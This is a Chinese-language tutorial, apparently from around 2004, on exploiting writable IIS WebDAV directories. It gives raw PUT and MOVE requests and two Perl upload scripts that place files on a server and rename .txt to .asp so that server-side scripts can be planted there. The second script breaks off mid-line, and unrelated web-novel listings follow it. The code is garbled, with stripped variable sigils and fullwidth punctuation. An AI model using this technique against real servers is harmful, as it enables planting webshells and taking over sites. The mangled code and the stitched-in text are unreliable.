AAAAAAAAAA
送出这个请求后,看服务器的返回信息,如果是一个 201 Created响应:
HTTP/1。1 201 Created
Server: Microsoft…IIS/5。0
Date: Thu; 28 Feb 2002 15:56:08 GMT
Location: http://iis…server/dir/my_file。txt
Content…Length: 0
Allow: OPTIONS; TRACE; GET; HEAD; DELETE; PUT; COPY; MOVE; PROPFIND;
PROPPATCH; SEARCH; LOCK; UNLOCK
那么就说明这个目录的写权限是开着的,反之,如果返回的是一个403错误,那么写权限就是没有开起来,如果需要你认证,并且返回一个 401(权限禁止) 的响应的话,说明是开了写权限,但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话,那么web用户就可以上传一个程序并且执行它,恐怖哦%^#!~
这里简单说明下:
PUT /dir/my_file。txt HTTP/1。1
Host: iis…server
Content…Length: 10
PUT:请求服务器将附件的实体储存在提供的请求URL处,如果该请求URL指向的资源已经存在,则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源,该URL将被该请求的用户代理定义成为一个新的资源,原始服务器将用该URL产生这个资源。
Host:是HTTP请求的发送地址
Content…Length:是内容长度,也就是实体长度,该长度值和上传的文件大小一致
用nc(tel)提交很烦琐,我们这里写个简单的perl程序,来完成这个复杂的提交过程,在写代码时我们用binmode()方式打开文件,代码如下:
#!/usr/bin/perl
use I:Socket;
ARGC = @ARGV;
if (ARGC != 4)
{
print 〃usage:0 127。0。0。1 80 kaka。exe /Scripts/file。exen〃;
exit;
}
host = @ARGV'0';
port = @ARGV'1';
file = @ARGV'2';
path = @ARGV'3';
@s=stat(〃file〃);
size = s'7'; #得到文件大小
print 〃file size is size bytesn〃;
my sock = I:Socket::I…》new(Proto =》〃tcp〃;
PeerAddr =》host;
PeerPort =》port) || die 〃Sorry! Could not connect to host n〃;
print sock 〃PUT path HTTP/1。1n〃;
print sock 〃Host: hostn〃;
print sock 〃Content…Length: sizenn〃; #sock连接
open(FILE;〃file〃);
binmode(FILE); #用2进制打开文件
while (read(FILE;char;1024)) { #读取文件数据上传
print sock 〃char〃;
}
print sock 〃nn〃;
@req = ;
print 〃please wait。。。n〃;
sleep(2);
if (req'4'=~/200|201/){
print 〃upfile Succeed!!!〃 ; #成功显示
}
else{
print 〃upfile faile!!!nn〃;
print @req;#如果失败显示返回错误
}
close sock;
close FILE;
下面我们测试下:
C:usrbin》perl。exe iiswt。pl 127。0。0。1 80 kaka。txt /Scripts/kaka。txt
kaka。txt size is 14 bytes
please wait。。。
upfile Succeed!!!
C:IpubScripts》dir kaka。txt
驱动器 C 中的卷没有标签。
卷的序列号是 3CD1…479E
C:IpubScripts 的目录
2004…05…05 00:37 14 kaka。txt
1 个文件 14 字节
0 个目录 3;871;080;448 可用字节
这里我们把kaka。txt成功上传到了web目录Scripts下,以为程序中用了binmode()方式(2进制)打开文件,应该可以上传其他文件,我们先测试下exe文件:
C:usrbin》perl。exe iiswt。pl 127。0。0。1 80 perl。exe /Scripts/perl。exe
perl。exe size is 20535 bytes
please wait。。。
upfile Succeed!!!
C:IpubScripts》dir perl。exe
驱动器 C 中的卷没有标签。
卷的序列号是 3CD1…479E
C:IpubScripts 的目录
2004…05…05 00:42 20;535 perl。exe
1 个文件 20;535 字节
0 个目录 3;871;031;296 可用字节
成功,可以上传exe了,是不是可以上传任意文件呢?接着来测试asp文件:
C:usrbin》perl。exe iiswt。pl 127。0。0。1 80 kaka。asp /Scripts/kaka。asp
kaka。asp size is 4 bytes
please wait。。。
upfile faile!!!
HTTP/1。1 100 Continue
Server: Microsoft…IIS/5。0
Date: Tue; 04 May 2004 16:45:51 GMT
HTTP/1。1 403 Forbidden
Server: Microsoft…IIS/5。0
Date: Tue; 04 May 2004 16:45:51 GMT
Connection: close
Content…Type: text/html
Content…Length: 44
HTTP/1。1 403 Forbidden
失败!!提示HTTP/1。1 403 Forbidden错误,看来直接用post方式写asp不行了,经过测试只要是iis支持的文件类型都会产生HTTP/1。1 403 Forbidden错误。
那我们怎样才可以上传iis支持的文件类型文件呢?iis除了可以执行put,post,get等动作外,还可以执行COPY; MOVE等命令,呵呵!我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件,在提过copy,move命令来改为asp。
我们还是先用nc提交测试下:
D:》nc 127。0。0。1 80
MOVE /scripts/kaka。txt HTTP/1。1
Host:127。0。0。1
Destination: http://127。0。0。1/scripts/kaka。asp
HTTP/1。1 201 Created
Server: Microsoft…IIS/5。0
Date: Sun; 05 Oct 2003 09:30:59 GMT
Location: http://127。0。0。1/scripts/x。asp
Content…Type: text/xml
Content…Length: 0
成功利用MOVE把/scripts/kaka。txt改名/scripts/kaka。asp。这样我们就可以结合put和move来完成通过iis写容易文件了:)。我们还是用perl来完成。
测试写asp成功:
C:usrbin》perl kaka。pl 127。0。0。1 80 kaka。asp /scripts/kaka。asp
************************************************************
codz by ≯SuperHei && lanker
************************************************************
kaka。asp size is 4 bytes
please wait。。。
upfile Succeed!!!
Modifyfile Succeed!!!
最终的iiswrite。pl代码如下(由于写本文时,在网吧对于文章中代码是先又本人打“草稿”,又lanker测试并最终完成,THX lanker。):
#!/usr/bin/perl
#The iiswrite Script
use I:Socket;
ARGC = @ARGV;
print 〃*〃 x 60;
print 〃ncodz by ≯SuperHei && lankern〃;
print 〃*〃 x 60;〃n〃;
if (ARGC != 4)
{
print 〃usage:0 127。0。0。1 80 kaka。txt /scripts/my_file。txtn〃;
exit;
}
host = @ARGV'0';
port = @ARGV'1';
path = @ARGV'3';
file = @ARGV'2';
@path=split(〃/〃;path);
any = pop(@path);
path1=join(〃/〃;@path);
@s=stat(〃file〃);
size = s'7';
print 〃file size is size bytesn〃;
my sock = I:Socket::I…》new(Proto =》〃tcp〃;
PeerAddr =》host;
PeerPort =》port) || die 〃Sorry! Could not connect to host n〃;
print sock 〃PUT path1/lanker。txt HTTP/1。1n〃;
print sock 〃Host: hostn〃;
print sock 〃Content…Length: sizenn〃;
open(FILE;〃file〃)|| die 〃Can"t open file〃;
binmode(FILE);
while (read(FILE;char;1024)) {
print sock 〃char〃;
}
print sock 〃nn〃;
@req = ;
print 〃please wait。。。n〃;
sleep(2);
if (req'4'=~/200|201/){
print 〃upfile Succeed!!!n〃 ;
}
else{
print 〃upfile faile!!!n〃;
}
close sock;
close FILE;
my sock = I:Socket::I…》new(Proto =》〃tcp〃;
PeerAddr =》host;
PeerPort =》port) || die 〃Sorry! Could not connect to host n〃;
print sock 〃MOVE path1/lanker。txt HTTP/1。1n〃;
print sock 〃Host: hostn〃;
print sock 〃Dest
小说推荐
- 专业打脸户
- ︱田︱田田╬版 权 归 原 作 者 手机访问 m╮欢迎光临︱田︱田田╬版 权 归 原 作 者╮欢迎光临︱田︱田田╬版 权 归 原 作 者【你的用户名】整理附】内容版权归作者所有=书名[快穿]专业打脸户作者:圆墩墩文案为了拯救男神,姜札穿越到不同的位面中抢夺气运渣男?虐之!白莲花?打之!心机girl?
- 科幻穿越
- 最新章:第68章
- 打造超级农业帝国
- 《打造超级农业帝国》作者:坐吃三空第一章 七彩流星!第一章 七彩流星 第一章七彩流星“混账小子,还反了你了!老子花钱供你上大学,就是不想让你再当农民。你倒好,放着挺好的大城市不待,反倒是想回来种地!老子告诉你,只要老子还活着一天,你就甭做这种梦 林富贵气的不轻,以至于捧着旱烟杆的双手,都有些不由自控
- 都市言情
- 最新章:第275章
- [快穿]专业打脸户
- 书名[快穿]专业打脸户作者:圆墩墩文案为了拯救男神,姜札穿越到不同的位面中抢夺气运渣男?虐之!白莲花?打之!心机girl?无视之!陆离“你玩的挺嗨的样子”姜札(讨好状“离离其实我只想玩你啊。本文须知:1:本文1v1,快穿打脸文,旨在虐渣男以及崩坏世界,请放心食用。2:苏苏苏爽爽爽请自带避雷针。内容标
- 科幻穿越
- 最新章:第68章
- 论一只网红猫的专业素养
- 《论一只网红猫的专业素养》作者:糖醋非鱼文案公主是一只猫。一只网红猫。但是她对自己的名字超级不满意。谁家的正经猫会叫这么挫的名字啊掀桌┻司祁:哎呀我的小公举,你今天还是一如既往的美啊~公主:MDZZ—算了算了,你负责赚钱养家你最大,你说什么是什么,你开心就好。本文又叫《男神是个铲屎官《喵!快来给本宫
- 都市言情
- 最新章:第57章
- 今天开始打职业
- -今天开始打职业[电竞]作者:陆一砂 文案 顾纸重生后,不仅变成了一个网瘾少女,还成了问题儿童 顺利成为职业选手之后,她总觉得自家上单看她的眼神有些不对,让她很方 日常小片段 陆湛:你在干嘛?顾纸:填老婆报名表 陆湛抽过纸一看,眉头一皱:他哪点吸引你了 顾纸拖着下巴思考:一打四反杀一人的时候 过了一
- 都市言情
- 最新章:第141章
- 金牌甜心:打造天团巨星
- 简介:聂闪闪,由于父母在外逍遥快活,不愿意继承家业。所以小小年纪就成了最大的造星工厂‘伯乐影业’的唯一女继承人。爷爷为了培养她的能力,不惜让她‘女扮男装’以吕帅帅的名义混在超人气‘东方神韵‘最强智者’的偶像天团里。悲催的是,当十个大男孩的助理。一比十,这很不公平好不好?157808第1章 女扮男装)
- 其他
- 最新章:第244章
- [电竞]今天开始打职业
- 《今天开始打职业[电竞》作者:陆一砂 文案 顾纸重生后 不仅变成了一个网瘾少女 还成了问题儿童 顺利成为职业选手之后 她总觉得自家上单看她的眼神有些不对,让她很方 日常小片段 陆湛:你在干嘛 顾纸:填老婆报名表 陆湛抽过纸一看,眉头一皱:他哪点吸引你了 顾纸拖着下巴思考:一打四反杀一人的时候 过了一
- 网游竞技
- 最新章:第141章
- 兢兢业业打酱油
- 《兢兢业业打酱油》作者:小黑爪文案当被选中去各个世界打酱油时,庄原同意了。虽然世界里主角最亮眼但没有辣么多的酱油呀路人呀NPC的,世界也是无法构成的好伐。他会做一个非常敬业的酱油,在每个岗位发光发热。只是,有没有人来告诉他为毛他的戏份好像越来越多?这一定是他的错觉吧。1V1,攻从头到尾都是同一个人必
- 激情
- 最新章:第147章
- 打造异界
- 简介:凭借神秘系统打造一个属于我的世界!我叫假正经,我为自己代言!额不对,我叫贾正金.105049第一章 你已经死了)网吧里乌烟瘴气,到处都是放在桌面上的臭脚和烟味。最角落的位置,贾正金死死盯着电脑屏幕,手指灵活地操作键盘和鼠标“贾正金”身后有人拍了拍他的肩膀“等会!没看到我的城堡就要造成了吗”贾正
- 武侠修真
- 最新章:第1812章